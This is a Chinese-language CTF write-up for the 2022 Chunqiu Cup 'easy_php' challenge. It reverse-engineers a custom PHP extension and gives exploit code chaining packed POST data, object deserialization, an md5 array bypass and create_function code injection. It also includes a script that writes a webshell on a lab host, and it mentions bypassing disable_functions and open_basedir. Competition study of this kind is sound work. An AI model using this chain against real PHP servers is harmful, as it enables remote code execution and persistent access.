您的位置:首页 >聚焦 >

2022春秋杯 勇者山峰赛道0解 easy_php题解

2022-05-14 08:01:32    来源:程序员客栈

本文来自“白帽子社区知识星球”

作者:[email protected]

白帽子社区知识星球加入星球,共同进步

WHT战队招新:

WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。

有半年以上CTF竞赛经验的。

包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。

加分项:有一年以上CTF竞赛经验的各方向CTFer。

有意向的师傅请扫描二维码联系我们

01题目分析

函数功能

先看下题目,总共2个函数,

createFolder

创建目录

savePostData

先获取了所有post数据然后用unpack来处理

检测处理后的数据中chFileName是否为字符串

检测chFileName内容是否是$white_func中的三个函数

chFileName(data)

020x001

第一步需要构造unpack的数据

https://www.runoob.com/php/func-misc-unpack.html

php pack format类型

a    以NUL字节填充字符串空白A    以SPACE(空格)填充字符串h    十六进制字符串,低位在前H    十六进制字符串,高位在前c    有符号字符C    无符号字符s    有符号短整型(16位,主机字节序)S    无符号短整型(16位,主机字节序)n    无符号短整型(16位,大端字节序)v    无符号短整型(16位,小端字节序)i    有符号整型(机器相关大小字节序)I    无符号整型(机器相关大小字节序)l    有符号长整型(32位,主机字节序)L    无符号长整型(32位,主机字节序)N    无符号长整型(32位,大端字节序)V    无符号长整型(32位,小端字节序)q    有符号长长整型(64位,主机字节序)Q    无符号长长整型(64位,主机字节序)J    无符号长长整型(64位,大端字节序)P    无符号长长整型(64位,小端字节序)f    单精度浮点型(机器相关大小)d    双精度浮点型(机器相关大小)x    NUL字节X    回退一字节Z    以NUL字节填充字符串空白(new in PHP 5.5)@    NUL填充到绝对位置

测试:

$string = pack("L4", 1, 2, 3, 4);var_dump(unpack("Ll1/Ll2/Ll3/Ll4", $string)); //可以指定key,用/分割//输出:array(4) {["l1"]=>int(1)["l2"]=>int(2)["l3"]=>int(3)["l4"]=>int(4)}

unpack的数据前4个有符号整形字段没用,后面的4个字段分别为:

int functionNameLen

int functionArgLen

String functionName

String functionArg

exp:

030x002

先看phpinfo发现存在disable_func和open_basedir

并且存在一个ctf扩展,先用readfile读取(路径在php.ini中extensions_dir)

readfile("/usr/local/lib/php/extensions/no-debug-non-zts-20190902/ctf.so");

分析so扩展

到本地逆向查看发现主要构造了一个php类,不难发现根据phpinfo中zephir_pareser扩展来猜,作者是利用zephir去把写好的一个类编译成C然后生成的so扩展(https://zephir-lang.com)

这里添加了5个属性

php类的析构函数

根据php私有属性id定义

#define ZEND_ACC_PUBLIC          (1 <<  0) #define ZEND_ACC_PROTECTED        (1 <<  1) #define ZEND_ACC_PRIVATE         (1 <<  2)

还原源代码

简单的还原这个类:

namespace Ctf{class  Greeting{public $search;private $key;private $cmd;private $args; private $token;function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){zim_Ctf_Greeting_call_back(cmd, args);}}}}

zim_Ctf_Greeting_call_back函数分析如下:

Php基础变量typedef union _zend_value {zend_long         lval;             /* long value */double            dval;             /* double value */zend_refcounted  *counted;zend_string      *str;zend_array       *arr;zend_object      *obj;zend_resource    *res;zend_reference   *ref;zend_ast_ref     *ast;zval             *zv;void             *ptr;zend_class_entry *ce;zend_function    *func;struct {uint32_t w1;uint32_t w2;} ww;} zend_value;struct _zval_struct {zend_value        value;            /* value */union {struct {ZEND_ENDIAN_LOHI_3(zend_uchar    type,         /* active type */zend_uchar    type_flags,union {uint16_t  extra;        /* not further specified */} u)} v;uint32_t type_info;} u1;union {uint32_t     next;                 /* hash collision chain */uint32_t     cache_slot;           /* cache slot (for RECV_INIT) */uint32_t     opline_num;           /* opline number (for FAST_CALL) */uint32_t     lineno;               /* line number (for ast nodes) */uint32_t     num_args;             /* arguments number for EX(This) */uint32_t     fe_pos;               /* foreach position */uint32_t     fe_iter_idx;          /* foreach iterator index */uint32_t     access_flags;         /* class constant access flags */uint32_t     property_guard;       /* single property guard */uint32_t     constant_flags;       /* constant flags */uint32_t     extra;                /* not further specified */} u2;};

Type=6代表字符串

_zend_string结构如下:

typedef struct _zend_refcounted_h {uint32_t         refcount;          /* reference counter 32-bit */union {uint32_t type_info;} u;} zend_refcounted_h;struct _zend_refcounted {zend_refcounted_h gc;};struct _zend_string {zend_refcounted_h gc;zend_ulong        h;                /* hash value */size_t            len;char              val[1];};

1.判断参数1长度是否小于等于12,走两条不同的路

2.若小于等于12,则调用方法ephir_call_zval_func_aparams(cmd, args),还原php代码为

$cmd($args);

否则走另一条路:

zval *params_[2];params_[1] = “”;params_[2] = base64_decode(args);zephir_call_func_aparams(out_value, "create_function", 15, 0, 2, 2, params_);

还原php代码为create_function(‘’, base64_decode($args));

最后还原整个zim_Ctf_Greeting_call_back方法:

public function call_back($cmd, $args){if(strlen($cmd)<=12){$cmd($args);}else{create_function(‘’, base64_decode($args));}}

最终还原的Ctf\Greeting类

namespace Ctf{class Greeting{protected $key;protected $cmd;protected $args;protected $token;public $search;function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($cmd)<=12){$this->cmd($this->args);}else{create_function(‘’, base64_decode($args));}}}}}

POC

md5直接用数组绕

cmd长度大于12,用create_function代码注入漏洞(https://blog.csdn.net/qq_51652864/article/details/115701537)

poc:

cmd = "11111111111111";$this->args =base64_encode("}phpinfo();//");$this->search = 1;$this->token = array("yes");$this->key = array("no");;}public function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($this->cmd)<=12){$this->cmd($this->args);}else{create_function("", base64_decode($this->args));}}}}}namespace{$exp = new Ctf\Greeting();echo urlencode(serialize($exp));}

040x003尝试写shell

因为题目存在disable_func和open_basedir不能直接找flag

所以尝试写webshell来绕过它。

但是这里根据题目,猜测应该是没权限,用作者提供的createFolder创建一个目录

public function __construct(){$this->cmd = "createFolder";$this->args ="shell";$this->search = 1;$this->token = array("yes");$this->key = array("no");;}

然后写shell

cmd = "11111111111111";$this->args =base64_encode("}file_put_contents("shell/shell.php","");//");$this->search = 1;$this->token = array("yes");$this->key = array("no");;}public function __destruct(){if(md5($this->key)==md5($this->token) && $this->key != $this->token){if(strlen($this->cmd)<=12){$this->cmd($this->args);}else{create_function("", base64_decode($this->args));}}}}}namespace{$exp = new Ctf\Greeting();$exp=urlencode(serialize($exp));# unpack$data = urldecode($exp);$ln = strlen($data);$format = "lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen" . "/a11" . "chFileName" . "/a${ln}" . "data";$a = pack("l", 1);$a = $a.$a.$a.$a.pack("l", 11).pack("l", $ln);$a = $a.pack("a11", "unserialize");$a = $a.pack("a${ln}", "${data}");$obj = unpack("$format", $a);var_dump($obj);#curl$url = "http://192.168.124.32/ezphp.php";$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $a);$output = curl_exec($ch);curl_close($ch);print_r($output);

绕dibsable_func && open_basedir

可以直接用蚁剑插件即可

如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。

▼扫码关注白帽子社区公众号&加入知识星球▼

关键词: 符号字符 小于等于 十六进制

相关阅读